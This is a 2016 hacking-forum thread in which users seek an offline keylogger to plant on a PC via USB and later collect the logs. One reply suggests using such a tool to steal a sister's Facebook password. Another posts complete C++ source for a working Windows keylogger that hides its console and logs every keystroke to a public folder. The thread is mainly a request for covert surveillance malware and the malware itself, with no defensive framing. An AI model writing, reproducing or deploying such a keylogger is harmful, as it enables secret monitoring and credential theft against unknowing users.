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Thread: [\[Request\] Offline Keylogger](#)

2K2k - April 29, 2016, 3:55 pm

So basically I am searching for a offline keylogger but I cant seem to find any as some are old and links are broken.

What I mean is you put it on a USB put the usb in the PC and run the keylogger which would write the logs in a .txt file on PC. (Basically not sending logs to a mail).

After certain amount of time you would go back to the pc put your USB back in and pick up the logs...

Why all this? Well I dont have a VPN... But I could also make some fake email accounts and send logs to them and then check the emails in public pc's ? eh... ?

im sorry if I wasted your time ?

2K2k - May 1, 2016, 11:18 am

Took my time to looked up C++ started learning C++ and coded one myself ?

_Devil - May 2, 2016, 4:08 am

(May 1, 2016 11:18 AM)2K2k Wrote: [\[CITE\]](#) Took my time to looked up C++ started learning C++ and coded one myself ?

C# would be easy for you to learn and code your own Keylogger.

colja123 - May 3, 2016, 8:21 am

This could be good as well if you're trying to find out your annoying sister's facebook password when she's on the pc:

<http://pastebin.com/JQRHbhYn>

2K2k - May 23, 2016, 2:56 pm

(May 23, 2016 02:49 PM)TTiger Wrote: [\[CITE\]](#) Hi again, wasn't sure if you were aware but the TTiger Keylogger does exactly this with the USB text file dump options, optimised for USB sticks :)
Its an old post I already have TTiger Keylogger ?

WhenURoFlButThenDie - May 26, 2016, 9:02 pm

Here's the code for an offline C++ Keylogger:

```
#include "stdafx.h"
#include <fstream>
#include <iostream>
#include <windows.h>
```

```
using namespace std;
```

```
int Save(int _key, char *file);
```

```

int main() {

    FreeConsole();

    char i;

    while (true) {

        for (i = 8; i <= 255; i++) {
            if (GetAsyncKeyState(i) == -32767) {
                Save(i, "C:\\Users\\Public\\log.txt");
            }
        }
    }
    return 0;
}

int Save(int _key, char *file) {

    cout << _key << endl;

    FILE *OUTPUT_FILE;

    //OUTPUT_FILE = fopen(file, "a+");
    errno_t err = fopen_s(&OUTPUT_FILE, file, "a+");

    if (_key == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (_key == VK_BACK)
        fprintf(OUTPUT_FILE, "%s", "[BACK]");
    else if (_key == VK_LBUTTON)
        fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
    else if (_key == VK_RETURN)
        fprintf(OUTPUT_FILE, "%s", "[RETURN]");
    else if (_key == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (_key == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else
        fprintf(OUTPUT_FILE, "%s", &_key);

    fclose(OUTPUT_FILE);

    return 0;
}

```

EDIT: Oh sorry, didn't look at the date either.

DamienVC - May 28, 2016, 7:50 pm
 GetAsyncKeyState lol topkek

